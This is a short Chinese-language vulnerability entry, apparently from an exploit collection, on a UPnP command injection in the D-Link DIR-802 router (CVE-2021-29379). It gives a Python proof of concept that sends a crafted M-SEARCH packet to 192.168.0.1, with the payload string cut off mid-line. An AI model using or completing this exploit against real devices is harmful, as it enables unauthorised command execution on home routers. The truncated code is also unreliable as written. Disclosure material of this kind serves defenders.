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    D-LINK DIR-802 命令注入漏洞(CVE-2021-29379).md
    659 B / 2021-05-21 09:14:38
        # D-LINK DIR-802 命令注入漏洞(CVE-2021-29379)
    
    
    DIR-802中存在一个命令注入漏洞,攻击者可以通过精心制作的M-SEARCH数据包向UPnP注入任意命令。
    
    受影响设备及软件版本
    
    DIR-802 hardware revision Ax before v1.00b05
    
    PoC:
    
    ```py
    # coding: utf-8
    import socket
    import struct
    buf = 'M-SEARCH * HTTP/1.1\r\nHOST:192.168.0.1:1900\r\nST:urn:schemas-upnp-org:service
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.connect(("192.168.0.1", 1900))
    s.send(buf)
    s.close()
    ```
    
    ref:
    
    * https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29379
    * https://cool-y.github.io/2021/03/02/DIR-802-OS-Command-Injection/
    
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